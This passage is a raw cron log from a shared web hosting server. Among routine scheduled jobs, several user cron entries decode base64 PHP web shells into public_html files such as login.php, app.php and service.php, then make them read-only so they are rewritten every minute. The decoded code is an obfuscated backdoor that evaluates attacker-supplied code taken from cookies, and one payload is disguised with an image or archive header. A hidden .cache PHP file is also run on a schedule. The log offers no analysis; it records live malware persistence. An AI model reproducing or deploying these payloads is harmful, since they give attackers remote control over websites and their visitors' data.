9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:42:01 medusa CROND[20217]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 15:42:01 medusa CROND[20218]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 15:42:01 medusa CROND[20219]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 15:42:01 medusa CROND[20214]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 15:42:01 medusa CROND[20220]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 15:43:01 medusa CROND[21949]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 15:43:01 medusa CROND[21955]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 15:43:01 medusa CROND[21967]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 15:43:01 medusa CROND[21968]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 15:43:01 medusa CROND[21970]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 15:43:01 medusa CROND[21972]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:43:01 medusa CROND[21973]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 15:43:01 medusa CROND[21978]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:43:01 medusa CROND[21979]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 15:43:01 medusa CROND[21980]: (tipsiser) CMD (wget -O - -q -t 1 http://tipsiser.com.ar/chamilo/main/cron/run.php > /dev/null 2>&1)
Jun  7 15:43:01 medusa CROND[21981]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Jun  7 15:43:01 medusa CROND[21985]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 15:43:01 medusa CROND[21987]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:43:01 medusa CROND[21991]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:44:02 medusa CROND[23754]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 15:44:02 medusa CROND[23755]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:44:02 medusa CROND[23756]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 15:44:02 medusa CROND[23759]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 15:44:02 medusa CROND[23760]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 15:44:02 medusa CROND[23761]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 15:44:02 medusa CROND[23767]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:44:02 medusa CROND[23768]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 15:44:02 medusa CROND[23770]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 15:44:02 medusa CROND[23771]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:44:02 medusa CROND[23772]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 15:44:02 medusa CROND[23775]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 15:44:02 medusa CROND[23773]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:45:02 medusa CROND[25272]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > 